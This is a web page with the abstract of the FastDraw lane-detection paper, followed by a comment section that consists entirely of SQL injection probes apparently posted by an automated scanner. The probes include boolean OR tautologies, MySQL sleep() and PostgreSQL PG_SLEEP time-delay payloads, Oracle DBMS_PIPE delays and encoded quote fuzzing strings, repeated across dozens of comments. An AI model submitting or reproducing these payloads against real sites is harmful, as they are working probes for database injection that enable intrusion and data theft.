FastDraw: Addressing the Long Tail of Lane Detection by Adapting a Sequential Prediction Network

Jonah Philion

The search for predictive models that generalize to the long tail of sensor inputs is the central difficulty when developing data-driven models for autonomous vehicles. In this paper, we use lane detection to study modeling and training techniques that yield better performance on real world test drives. On the modeling side, we introduce a novel fully convolutional model of lane detection that learns to decode lane structures instead of delegating structure inference to post-processing. In contrast to previous works, our convolutional decoder is able to represent an arbitrary number of lanes per image, preserves the polyline representation of lanes without reducing lanes to polynomials, and draws lanes iteratively without requiring the computational and temporal complexity of recurrent neural networks. Because our model includes an estimate of the joint distribution of neighboring pixels belonging to the same lane, our formulation includes a natural and computationally cheap definition of uncertainty. On the training side, we demonstrate a simple yet effective approach to adapt the model to new environments using unsupervised style transfer. By training FastDraw to make predictions of lane structure that are invariant to low-level stylistic differences between images, we achieve strong performance at test time in weather and lighting conditions that deviate substantially from those of the annotated datasets that are publicly available. We quantitatively evaluate our approach on the CVPR 2017 Tusimple lane marking challenge, difficult CULane datasets [29], and a small labeled dataset of our own and achieve competitive accuracy while running at 90 FPS.

Discussion


  • tsSLAueP
    -1 OR 2+929-929-1=0+0+0+1 --
    2025-08-15 22:34

    Reply


    zFPWdwPk reply to tsSLAueP
    -1 OR 2+568-568-1=0+0+0+1 --
    2025-09-30 22:40

    Reply

    zFPWdwPk reply to tsSLAueP
    -1 OR 2+581-581-1=0+0+0+1
    2025-09-30 22:40

    Reply

    zFPWdwPk reply to tsSLAueP
    -1' OR 2+903-903-1=0+0+0+1 or '5eft1Dt7'='
    2025-09-30 22:40

    Reply

    zFPWdwPk reply to tsSLAueP
    -1" OR 2+488-488-1=0+0+0+1 --
    2025-09-30 22:40

    Reply

    zFPWdwPk reply to tsSLAueP
    if(now()=sysdate(),sleep(15),0)
    2025-09-30 22:40

    Reply

    zFPWdwPk reply to tsSLAueP
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
    2025-09-30 22:41

    Reply

    zFPWdwPk reply to tsSLAueP
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
    2025-09-30 22:41

    Reply

    zFPWdwPk reply to tsSLAueP
    -5 OR 520=(SELECT 520 FROM PG_SLEEP(15))--
    2025-09-30 22:41

    Reply

    zFPWdwPk reply to tsSLAueP
    -5) OR 172=(SELECT 172 FROM PG_SLEEP(15))--
    2025-09-30 22:41

    Reply

    zFPWdwPk reply to tsSLAueP
    -1)) OR 424=(SELECT 424 FROM PG_SLEEP(15))--
    2025-09-30 22:42

    Reply

    zFPWdwPk reply to tsSLAueP
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
    2025-09-30 22:42

    Reply

    zFPWdwPk reply to tsSLAueP
    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
    2025-09-30 22:42

    Reply

    zFPWdwPk reply to tsSLAueP
    1ˤˢ%2527%2522
    2025-09-30 22:42

    Reply

    zFPWdwPk reply to tsSLAueP
    @@iEu5P
    2025-09-30 22:42

    Reply

    reply to tsSLAueP
    -1 OR 2+115-115-1=0+0+0+1 --
    2025-10-01 12:57

    Reply

    reply to tsSLAueP
    -1 OR 2+544-544-1=0+0+0+1
    2025-10-01 12:57

    Reply

    reply to tsSLAueP
    -1' OR 2+382-382-1=0+0+0+1 or 'PKexbSU4'='
    2025-10-01 12:57

    Reply

    reply to tsSLAueP
    -1" OR 2+233-233-1=0+0+0+1 --
    2025-10-01 12:57

    Reply

    reply to tsSLAueP
    if(now()=sysdate(),sleep(15),0)
    2025-10-01 12:57

    Reply

    reply to tsSLAueP
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
    2025-10-01 12:58

    Reply

    reply to tsSLAueP
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
    2025-10-01 12:58

    Reply

    reply to zFPWdwPk
    -1 OR 2+133-133-1=0+0+0+1 --
    2025-10-01 12:58

    Reply

    reply to zFPWdwPk
    -1 OR 2+835-835-1=0+0+0+1
    2025-10-01 12:58

    Reply

    reply to zFPWdwPk
    -1' OR 2+344-344-1=0+0+0+1 or '80l0gSTX'='
    2025-10-01 12:58

    Reply

    reply to zFPWdwPk
    -1" OR 2+20-20-1=0+0+0+1 --
    2025-10-01 12:58

    Reply

    reply to tsSLAueP
    -5 OR 124=(SELECT 124 FROM PG_SLEEP(15))--
    2025-10-01 12:58

    Reply

    reply to zFPWdwPk
    if(now()=sysdate(),sleep(15),0)
    2025-10-01 12:58

    Reply

    reply to zFPWdwPk
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
    2025-10-01 12:58

    Reply

    reply to tsSLAueP
    -5) OR 442=(SELECT 442 FROM PG_SLEEP(15))--
    2025-10-01 12:58

    Reply

    reply to zFPWdwPk
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
    2025-10-01 12:59

    Reply

    reply to tsSLAueP
    -1)) OR 282=(SELECT 282 FROM PG_SLEEP(15))--
    2025-10-01 12:59

    Reply

    reply to tsSLAueP
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
    2025-10-01 12:59

    Reply

    reply to zFPWdwPk
    -5 OR 806=(SELECT 806 FROM PG_SLEEP(15))--
    2025-10-01 12:59

    Reply

    reply to zFPWdwPk
    -5) OR 624=(SELECT 624 FROM PG_SLEEP(15))--
    2025-10-01 12:59

    Reply

    reply to tsSLAueP
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
    2025-10-01 12:59

    Reply

    reply to zFPWdwPk
    -1)) OR 247=(SELECT 247 FROM PG_SLEEP(15))--
    2025-10-01 12:59

    Reply

    reply to tsSLAueP
    1����%2527%2522
    2025-10-01 12:59

    Reply

    reply to tsSLAueP
    @@fXSVM
    2025-10-01 12:59

    Reply

    reply to zFPWdwPk
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
    2025-10-01 12:59

    Reply

    reply to zFPWdwPk
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
    2025-10-01 12:59

    Reply

    reply to zFPWdwPk
    1����%2527%2522
    2025-10-01 12:59

    Reply


  • tsSLAueP
    -1 OR 2+771-771-1=0+0+0+1
    2025-08-15 22:34

    Reply


    zFPWdwPk reply to tsSLAueP
    -1 OR 2+433-433-1=0+0+0+1 --
    2025-10-01 00:27

    Reply

    zFPWdwPk reply to tsSLAueP
    -1 OR 2+536-536-1=0+0+0+1
    2025-10-01 00:27

    Reply

    zFPWdwPk reply to tsSLAueP
    -1' OR 2+210-210-1=0+0+0+1 or 'X7fPsDbl'='
    2025-10-01 00:27

    Reply

    zFPWdwPk reply to tsSLAueP
    -1" OR 2+612-612-1=0+0+0+1 --
    2025-10-01 00:27

    Reply

    zFPWdwPk reply to tsSLAueP
    if(now()=sysdate(),sleep(15),0)
    2025-10-01 00:27

    Reply

    zFPWdwPk reply to tsSLAueP
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
    2025-10-01 00:28

    Reply

    zFPWdwPk reply to tsSLAueP
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
    2025-10-01 00:28

    Reply

    zFPWdwPk reply to tsSLAueP
    -5 OR 654=(SELECT 654 FROM PG_SLEEP(15))--
    2025-10-01 00:30

    Reply

    zFPWdwPk reply to tsSLAueP
    -5) OR 997=(SELECT 997 FROM PG_SLEEP(15))--
    2025-10-01 00:31

    Reply

    zFPWdwPk reply to tsSLAueP
    -1)) OR 525=(SELECT 525 FROM PG_SLEEP(15))--
    2025-10-01 00:32

    Reply

    zFPWdwPk reply to tsSLAueP
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
    2025-10-01 00:33

    Reply

    zFPWdwPk reply to tsSLAueP
    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
    2025-10-01 00:34

    Reply

    zFPWdwPk reply to tsSLAueP
    1ˤˢ%2527%2522
    2025-10-01 00:34

    Reply

    zFPWdwPk reply to tsSLAueP
    @@1lCn5
    2025-10-01 00:34

    Reply


  • tsSLAueP
    -1' OR 2+757-757-1=0+0+0+1 or 'TEl0WmMD'='
    2025-08-15 22:34

    Reply


    zFPWdwPk reply to tsSLAueP
    -1 OR 2+82-82-1=0+0+0+1 --
    2025-10-01 00:59

    Reply

    zFPWdwPk reply to tsSLAueP
    -1 OR 2+715-715-1=0+0+0+1
    2025-10-01 00:59

    Reply

    zFPWdwPk reply to tsSLAueP
    -1' OR 2+38-38-1=0+0+0+1 or 'jLpqTPLY'='
    2025-10-01 00:59

    Reply

    zFPWdwPk reply to tsSLAueP
    -1" OR 2+144-144-1=0+0+0+1 --
    2025-10-01 00:59

    Reply

    zFPWdwPk reply to tsSLAueP
    if(now()=sysdate(),sleep(15),0)
    2025-10-01 00:59

    Reply

    zFPWdwPk reply to tsSLAueP
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
    2025-10-01 00:59

    Reply

    zFPWdwPk reply to tsSLAueP
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
    2025-10-01 00:59

    Reply

    zFPWdwPk reply to tsSLAueP
    -5 OR 881=(SELECT 881 FROM PG_SLEEP(15))--
    2025-10-01 01:00

    Reply

    zFPWdwPk reply to tsSLAueP
    -5) OR 396=(SELECT 396 FROM PG_SLEEP(15))--
    2025-10-01 01:00

    Reply

    zFPWdwPk reply to tsSLAueP
    -1)) OR 289=(SELECT 289 FROM PG_SLEEP(15))--
    2025-10-01 01:00

    Reply

    zFPWdwPk reply to tsSLAueP
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
    2025-10-01 01:00

    Reply

    zFPWdwPk reply to tsSLAueP
    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
    2025-10-01 01:00

    Reply

    zFPWdwPk reply to tsSLAueP
    1ˤˢ%2527%2522
    2025-10-01 01:00

    Reply


  • tsSLAueP
    -1" OR 2+250-250-1=0+0+0+1 --
    2025-08-15 22:34

    Reply



  • tsSLAueP
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
    2025-08-15 22:35

    Reply



  • tsSLAueP
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
    2025-08-15 22:35

    Reply



  • tsSLAueP
    -5 OR 977=(SELECT 977 FROM PG_SLEEP(15))--
    2025-08-15 22:37

    Reply



  • tsSLAueP
    -5) OR 722=(SELECT 722 FROM PG_SLEEP(15))--
    2025-08-15 22:38

    Reply



  • tsSLAueP
    -1)) OR 909=(SELECT 909 FROM PG_SLEEP(15))--
    2025-08-15 22:39

    Reply



  • tsSLAueP
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
    2025-08-15 22:41

    Reply



  • tsSLAueP
    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
    2025-08-15 22:41

    Reply



  • tsSLAueP
    1ˤˢ%2527%2522
    2025-08-15 22:41

    Reply



  • tsSLAueP
    @@9cTmP
    2025-08-15 22:41

    Reply



  • zFPWdwPk
    -1 OR 2+664-664-1=0+0+0+1 --
    2025-09-30 21:33

    Reply



  • zFPWdwPk
    -1 OR 2+951-951-1=0+0+0+1
    2025-09-30 21:33

    Reply



  • zFPWdwPk
    -1' OR 2+211-211-1=0+0+0+1 or 'iHsh1obD'='
    2025-09-30 21:34

    Reply



  • zFPWdwPk
    -1" OR 2+200-200-1=0+0+0+1 --
    2025-09-30 21:34

    Reply



  • zFPWdwPk
    if(now()=sysdate(),sleep(15),0)
    2025-09-30 21:34

    Reply



  • zFPWdwPk
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
    2025-09-30 21:34

    Reply



  • zFPWdwPk
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
    2025-09-30 21:35

    Reply



  • zFPWdwPk
    -5 OR 30=(SELECT 30 FROM PG_SLEEP(15))--
    2025-09-30 21:37

    Reply



  • zFPWdwPk
    -5) OR 203=(SELECT 203 FROM PG_SLEEP(15))--
    2025-09-30 21:37

    Reply



  • zFPWdwPk
    -1)) OR 659=(SELECT 659 FROM PG_SLEEP(15))--
    2025-09-30 21:38

    Reply



  • zFPWdwPk
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
    2025-09-30 21:39

    Reply



  • zFPWdwPk
    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
    2025-09-30 21:39

    Reply



  • zFPWdwPk
    1ˤˢ%2527%2522
    2025-09-30 21:40

    Reply